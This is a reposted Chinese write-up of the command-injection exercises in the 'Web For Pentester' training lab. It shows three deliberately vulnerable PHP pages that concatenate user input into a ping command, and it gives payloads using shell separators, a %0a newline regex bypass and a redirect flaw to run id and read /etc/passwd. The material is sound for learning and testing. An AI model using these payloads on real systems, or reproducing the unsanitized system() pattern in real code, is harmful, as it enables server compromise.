码迷,mamicode.com
首页 > Web开发 > 详细

Web For Pentester1 - Commands injection

时间:2020-06-26 12:44:39      阅读:65      评论:0      收藏:0      [点我收藏+]

标签:isp   com   匹配   inf   Once   pen   test   load   格式   

Example 1

源码:

<?php require_once("../header.php"); ?>
<pre>
<?php
system("ping -c 2 ".$_GET[‘ip‘]);
?>
</pre>
<?php require_once("../footer.php"); ?>

解释:ip 参数无任何过滤,因此可以使用:;|  ||来进行执行恶意命令

 

符号说明
A;B A 不论正确与否都会执行 B 命令
A&B A 后台运行,A 和 B 同时执行
A&&B A 执行成功时候才会执行 B 命令
A|B A 执行的输出结果,作为 B 命令的参数,A 不论正确与否都会执行 B 命令
A||B A 执行失败后才会执行 B 命令

 

payload:

ip=127.0.0.1|id

ip=192.1681.1.1||id

ip=127.0.0.1;id

 

Example 2

源码:

<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match(‘/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m‘, $_GET[‘ip‘]))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET[‘ip‘]);
?>
</pre>
<?php require_once("../footer.php"); ?>

解释:

这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了 /m 多行匹配模式,所以我们这里可以使用 %0a 换行

payload:

ip=127.0.0.1%0Aid

ip=127.0.0.1%0Acat%20/etc/passwd

 

Example 3

源码:

<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match(‘/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/‘, $_GET[‘ip‘]))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET[‘ip‘]);
?>
</pre>
<?php require_once("../footer.php"); ?>

解释:

preg_match 去掉了 /m 多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:
/commandexec/example3.php?ip=127.0.0.1
虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果:

payload:

ip=127.0.0.1;id
ip=127.0.0.1|id
ip=233||id

技术图片

 

 OVER!

Web For Pentester1 - Commands injection

标签:isp   com   匹配   inf   Once   pen   test   load   格式   

原文地址:https://www.cnblogs.com/hack404/p/13194251.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!